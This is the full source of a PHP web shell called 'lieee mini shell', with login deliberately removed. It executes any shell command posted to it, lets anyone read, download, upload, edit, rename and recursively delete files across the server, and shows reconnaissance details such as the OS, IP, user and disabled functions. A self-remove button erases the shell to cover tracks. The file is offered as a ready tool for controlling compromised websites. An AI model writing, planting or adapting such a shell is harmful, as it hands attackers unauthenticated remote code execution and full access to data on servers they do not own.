<?php
session_start();
error_reporting(0);

$homeDir = dirname(__FILE__);

// --- LOGIKA LOGOUT DIHAPUS ---

$currentDir = isset($_GET['dir']) ? $_GET['dir'] : getcwd();  
if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') { $currentDir = str_replace('/', '\\', $currentDir); }  
$currentDir = realpath($currentDir) ?: $currentDir;

// --- CRUD & FILE LOGIC ---
if (isset($_GET['action']) && $_GET['action'] == 'read') {  
    $f = $currentDir . DIRECTORY_SEPARATOR . $_GET['file'];  
    if (file_exists($f)) { echo file_get_contents($f); exit; }  
}  
if (isset($_GET['download'])) {  
    $f = $currentDir . DIRECTORY_SEPARATOR . $_GET['download'];  
    if (file_exists($f)) {  
        header('Content-Type: application/octet-stream');  
        header('Content-Disposition: attachment; filename="'.basename($f).'"');  
        readfile($f); exit;  
    }  
}  
if (isset($_POST['cmd']) && !empty($_POST['cmd'])) {  
    chdir($currentDir);  
    $cmd_output = shell_exec($_POST['cmd'] . " 2>&1");  
}  
if (isset($_FILES['file'])) {  
    move_uploaded_file($_FILES['file']['tmp_name'], $currentDir . DIRECTORY_SEPARATOR . basename($_FILES['file']['name'])); 
}  
if (isset($_POST['new_file_name'])) {  
    file_put_contents($currentDir . DIRECTORY_SEPARATOR . $_POST['new_file_name'], ""); 
}  
if (isset($_POST['new_folder_name'])) {  
    mkdir($currentDir . DIRECTORY_SEPARATOR . $_POST['new_folder_name']); 
}  
if (isset($_GET['delete'])) {  
    $file = $currentDir . DIRECTORY_SEPARATOR . $_GET['delete'];  
    if (is_dir($file)) {  
        $it = new RecursiveDirectoryIterator($file, RecursiveDirectoryIterator::SKIP_DOTS);  
        $files = new RecursiveIteratorIterator($it, RecursiveIteratorIterator::CHILD_FIRST);  
        foreach($files as $f) { if ($f->isDir()) @rmdir($f->getRealPath()); else @unlink($f->getRealPath()); }  
        @rmdir($file);  
    } else { @unlink($file); }  
    header("Location: ?dir=" . urlencode($currentDir)); exit;  
}  
if (isset($_POST['rename'])) { rename($currentDir.DIRECTORY_SEPARATOR.$_POST['oldname'], $currentDir.DIRECTORY_SEPARATOR.$_POST['newname']); }  
if (isset($_POST['save'])) { file_put_contents($currentDir.DIRECTORY_SEPARATOR.$_POST['filename'], $_POST['content']); }  

if (isset($_GET['action']) && $_GET['action'] == 'self_remove') {
    // Karena login dihapus, self_remove langsung eksekusi tanpa cek password
    $self = $_SERVER['SCRIPT_FILENAME'];
    if (unlink($self)) {
        echo "<script>alert('Shell Deleted Successfully!'); window.location.href='/';</script>";
        exit;
    }
}

function formatBytes($bytes, $precision = 2) {  
    $units = array('B', 'KB', 'MB', 'GB', 'TB');  
    $pow = floor(($bytes ? log($bytes) : 0) / log(1024));  
    $bytes /= (1 << (10 * $pow));
    return round($bytes, $precision) . ' ' . $units[$pow];  
}  

function getPerms($path) {
    $perms = @fileperms($path);
    if ($perms === false) return ['string' => '????', 'octal' => '????'];
    $info = (($perms & 0x4000) == 0x4000) ? 'd' : '-';
    $info .= (($perms & 0x0100) ? 'r' : '-');
    $info .= (($perms & 0x0080) ? 'w' : '-');
    $info .= (($perms & 0x0040) ? 'x' : '-');
    $info .= (($perms & 0x0020) ? 'r' : '-');
    $info .= (($perms & 0x0010) ? 'w' : '-');
    $info .= (($perms & 0x0008) ? 'x' : '-');
    $info .= (($perms & 0x0004) ? 'r' : '-');
    $info .= (($perms & 0x0002) ? 'w' : '-');
    $info .= (($perms & 0x0001) ? 'x' : '-');
    return ['string' => $info, 'octal' => substr(sprintf('%o', $perms), -4)];
}
?>

<!DOCTYPE html>  
<html lang="en">  
<head>  
    <meta charset="UTF-8">  
    <title>lieee mini shell</title>  
    <link href="https://cdn.jsdelivr.net/npm/bootstrap-icons@1.10.5/font/bootstrap-icons.css" rel="stylesheet">
    <link href="https://fonts.googleapis.com/css2?family=Orbitron:wght@700&family=Roboto+Mono:wght@700&display=swap" rel="stylesheet">
    <style>  
    html {
        zoom: 1.3;
        -moz-transform: scale(1.3);
        -moz-transform-origin: 0 0;
    }

    * { margin: 0; padding: 0; box-sizing: border-box; }
    
    body { 
        font-family: Arial, sans-serif; 
        background: #0a0a0a; 
        color: white; 
        padding: 15px; 
        font-size: 15px;
    }   
    
    a { color: white; text-decoration: none; }
    
    .header { position: relative; margin-bottom: 15px; padding-bottom: 10px; border-bottom: 1px solid white; text-align: center; }
    .header-img {
    position: absolute;
    top: 0;
    right: 0;
    width: 200px;
    height: auto;
    }

    .header h1 { font-family: 'Orbitron', sans-serif; color: #0f0; letter-spacing: 3px; font-size: 22px; }
    
    .info { padding: 10px; font-size: 14px; text-align: left; line-height: 1.5; }
    .path { padding: 10px; margin: 10px 0; font-size: 14px; }
    
    .toolbar { 
        padding: 10px; 
        margin: 10px 0; 
        display: flex; 
        gap: 10px; 
        align-items: center; 
    }
    
    input[type="text"] { 
        background: #000; 
        border: 1px solid white; 
        color: white; 
        padding: 8px;
        font-size: 12px; 
    }
    
    button { 
        background: white; 
        color: #000; 
        border: none; 
        padding: 8px 15px;
        cursor: pointer; 
        font-weight: bold; 
        font-family: monospace; 
        transition: 0.2s;
    }

    button:hover {
        background: #ccc;
    }
    
    table { width: 100%; border-collapse: collapse; margin-top: 10px; background: rgba(0, 0, 0, 0.8); }
    th { background: white; color: #000; padding: 10px; text-align: left; }
    td { border-bottom: 1px solid gray; padding: 10px; color: white; } 
    
    pre {
    background: #000;
    border: 1px solid #444; 
    padding: 15px;
    color: #0f0;
    margin: 10px 0;
    width: 100%;
    max-height: 600px;
    overflow: auto;
    white-space: pre-wrap;
    font-family: 'Roboto Mono', monospace;
    font-size: 13px;
    border-radius: 4px;
}
    
.modal { 
    display: none; 
    position: fixed; 
    top: 0; 
    left: 0; 
    width: 100%; 
    height: 100%; 
    background: rgba(0, 0, 0, 0.9); 
    z-index: 1000; 
    align-items: center; 
    justify-content: center; 
}

    textarea.editor { 
        width: 100%; 
        height: 80vh; 
        background: #000; 
        color: #fff; 
        border: 1px solid white; 
        font-family: 'Roboto Mono', monospace; 
        font-size: 14px; 
    }
</style>
</head>  
<body>  
<div class="header">
    <img src="https://static.wixstatic.com/media/466c8f_55b7e9084a5a4c2a9aac9e52d67a6ff9~mv2.jpg/v1/fill/w_350,h_350,al_c,q_80,usm_0.66_1.00_0.01,enc_avif,quality_auto/466c8f_55b7e9084a5a4c2a9aac9e52d67a6ff9~mv2.jpg" alt="Logo" class="header-img">
    <h1>lieee mini shell</h1>
    <div class="info">
        <div style="display: grid; grid-template-columns: 1fr 1fr; gap: 10px;">
            <div>
                <strong>System:</strong> <?php echo php_uname(); ?><br>
                <strong>Server IP:</strong> <?php echo $_SERVER['SERVER_ADDR']; ?><br>
                <strong>Software:</strong> <?php echo $_SERVER['SERVER_SOFTWARE']; ?><br>
                <strong>PHP Version:</strong> <?php echo phpversion(); ?> | <strong>SAPI:</strong> <?php echo php_sapi_name(); ?><br>
                <strong>Disk Free:</strong> <?php echo formatBytes(disk_free_space(".")); ?> / <?php echo formatBytes(disk_total_space(".")); ?><br>
                <strong>Server Time:</strong> <?php echo date("Y-m-d H:i:s"); ?><br>
                <strong>Current User:</strong> <?php echo get_current_user(); ?> (UID: <?php echo getmyuid(); ?>)<br>
                <strong>Safe Mode:</strong> <?php echo ini_get('safe_mode') ? '<span style="color:red">ON</span>' : '<span style="color:#0f0">OFF</span>'; ?> | 
                <strong>Disable Func:</strong> <?php $df = ini_get('disable_functions'); echo $df ? $df : 'None'; ?>
            </div>
        </div>
    </div>
</div>

<div class="path">
    <strong>Current dir:</strong> 
    <?php 
    $parts = explode(DIRECTORY_SEPARATOR, $currentDir); $acc = "";
    foreach ($parts as $idx => $p) {
        if ($p === "" && $idx === 0) { $acc = DIRECTORY_SEPARATOR; echo '<a href="?dir='.urlencode($acc).'">/</a>'; continue; }
        $acc .= ($idx === 0 || $acc === DIRECTORY_SEPARATOR ? "" : DIRECTORY_SEPARATOR) . $p;
        echo '<a href="?dir='.urlencode($acc).'">'.htmlspecialchars($p).'</a>/';
    }
    ?>
    | <a href="?dir=<?php echo urlencode($homeDir); ?>" style="color: #0f0;">[ HOME SHELL ]</a>
    | <a href="?dir=<?php echo urlencode($currentDir); ?>" style="color: #0f0;">[ REFRESH ]</a>
    | <a href="javascript:void(0)" onclick="selfRemove()" style="color: #ff4444;">[ SELF REMOVER ]</a>
</div>

<div class="toolbar">
    <form method="POST" style="flex-grow: 1; display: flex; gap: 5px;">
        <input type="text" name="cmd" style="flex-grow: 1; max-width: 500px;" placeholder="Type something..." autocomplete="off">
        <button type="submit">>></button>
    </form>
    <button onclick="createFile()">+ FILE</button>
    <button onclick="createFolder()">+ DIR</button>
</div>

<?php if (isset($cmd_output)): ?>
    <pre><?php echo htmlspecialchars($cmd_output); ?></pre>
<?php endif; ?>

<div style="margin: 10px 0;">
    <form method="POST" enctype="multipart/form-data">
        <input type="file" name="file">
        <button type="submit">UPLOAD</button>
    </form>
</div>

<table>
    <thead>
        <tr>
            <th>Name</th>
            <th>Size</th>
            <th>Modified</th>
            <th>Perm</th>
            <th>Actions</th>
        </tr>
    </thead>
    <tbody>
        <?php 
        if (dirname($currentDir) != $currentDir) {
            echo '<tr><td colspan="5"><a href="?dir='.urlencode(dirname($currentDir)).'">[ .. ]</a></td></tr>';
        }
        $items = scandir($currentDir);
        $folders = []; $files = [];
        foreach ($items as $item) {
            if ($item == '.' || $item == '..') continue;
            is_dir($currentDir . DIRECTORY_SEPARATOR . $item) ? $folders[] = $item : $files[] = $item;
        }
        natcasesort($folders); natcasesort($files);
        foreach (array_merge($folders, $files) as $item) {
            $full = $currentDir . DIRECTORY_SEPARATOR . $item;
            $isDir = is_dir($full);
            $p = getPerms($full);
            echo '<tr>';
            echo '<td>' . ($isDir ? '<a href="?dir='.urlencode($full).'"><i class="bi bi-folder-fill"></i> '.htmlspecialchars($item).'/</a>' : '<i class="bi bi-file-earmark"></i> '.htmlspecialchars($item)) . '</td>';
            echo '<td>' . ($isDir ? 'DIR' : formatBytes(filesize($full))) . '</td>';
            echo '<td>' . date("Y-m-d H:i", filemtime($full)) . '</td>';
            echo '<td><span style="color:'.(is_writable($full)?'#0f0':'#ff4444').'">'.$p['string'].'</span></td>';
            echo '<td>
                    <a href="javascript:void(0)" onclick="renameItem(\''.addslashes($item).'\')"><i class="bi bi-pencil"></i></a> | 
                    '.(!$isDir ? '<a href="javascript:void(0)" onclick="editFile(\''.addslashes($item).'\')"><i class="bi bi-code-slash"></i></a> | ' : '').'
                    <a href="?dir='.urlencode($currentDir).'&download='.urlencode($item).'"><i class="bi bi-download"></i></a> | 
                    <a href="?dir='.urlencode($currentDir).'&delete='.urlencode($item).'" onclick="return confirm(\'Hapus?\')"><i class="bi bi-trash"></i></a>
                  </td>';
            echo '</tr>';
        }
        ?>
    </tbody>
</table>

<div id="editorModal" class="modal">
    <div style="margin-bottom: 10px; display: flex; justify-content: space-between; align-items: center;">
        <h3 id="editorTitle" style="margin: 0;">Editor</h3>
        <div style="display: flex; gap: 8px;">
            <button type="submit" name="save" form="formEditor" STYLE="background: #0f0; color: #000;">SAVE</button>
            <button type="button" onclick="closeEditor()" style="background: #ff4444; color: #000;">CLOSE</button>
        </div>
    </div>
    <form method="POST" id="formEditor">
        <input type="hidden" name="filename" id="editFilename">
        <textarea name="content" id="editorArea" class="editor" spellcheck="false" style="height: 85vh;"></textarea>
    </form>
</div>

<script>
function createFile() {
    let name = prompt("Nama file baru:");
    if (name) {
        let f = document.createElement("form");
        f.method = "POST";
        f.innerHTML = `<input name="new_file_name" value="${name}">`;
        document.body.appendChild(f); f.submit();
    }
}
function createFolder() {
    let name = prompt("Nama folder baru:");
    if (name) {
        let f = document.createElement("form");
        f.method = "POST";
        f.innerHTML = `<input name="new_folder_name" value="${name}">`;
        document.body.appendChild(f); f.submit();
    }
}
function renameItem(old) {
    document.getElementById('oldNameHidden').value = old;
    document.getElementById('newNameInput').value = old;
    document.getElementById('renameModal').style.display = "flex";
    document.getElementById('newNameInput').focus();
}

function closeRename() {
    document.getElementById('renameModal').style.display = "none";
}

function submitRename() {
    let old = document.getElementById('oldNameHidden').value;
    let name = document.getElementById('newNameInput').value;
    
    if (name && name !== old) {
        let f = document.createElement("form");
        f.method = "POST";
        f.innerHTML = `
            <input type="hidden" name="rename" value="1">
            <input type="hidden" name="oldname" value="${old}">
            <input type="hidden" name="newname" value="${name}">
        `;
        document.body.appendChild(f);
        f.submit();
    } else {
        closeRename();
    }
}

window.onclick = function(event) {
    let modal = document.getElementById('renameModal');
    if (event.target == modal) { closeRename(); }
}

function editFile(file) {
    fetch("?dir=<?php echo urlencode($currentDir); ?>&action=read&file=" + encodeURIComponent(file))
    .then(r => r.text())
    .then(data => {
        document.getElementById('editorArea').value = data;
        document.getElementById('editFilename').value = file;
        document.getElementById('editorTitle').innerText = "Editing: " + file;
        document.getElementById('editorModal').style.display = "block";
    });
}
function closeEditor() { document.getElementById('editorModal').style.display = "none"; }
function selfRemove() {
    if (confirm("Are you sure want to kill me? :)")) {
        window.location.href = "?action=self_remove";
    }
}
</script>
<div id="renameModal" class="modal" style="background: rgba(0,0,0,0.8); display: none; align-items: center; justify-content: center;">
    <div style="background: #000; border: 1px solid white; padding: 20px; width: 350px;">
        <h3 style="margin-bottom: 15px; font-size: 16px;">RENAME ITEM</h3>
        <input type="hidden" id="oldNameHidden">
        <input type="text" id="newNameInput" style="width: 100%; margin-bottom: 20px; padding: 10px; background: #111; border: 1px solid #444; color: #fff;">
        <div style="display: flex; gap: 10px;">
            <button onclick="submitRename()" style="flex: 1; background: #0f0; color: #000;">RENAME</button>
            <button onclick="closeRename()" style="flex: 1; background: #ff4444; color: #000;">CLOSE</button>
        </div>
    </div>
</div>
</body>
</html>
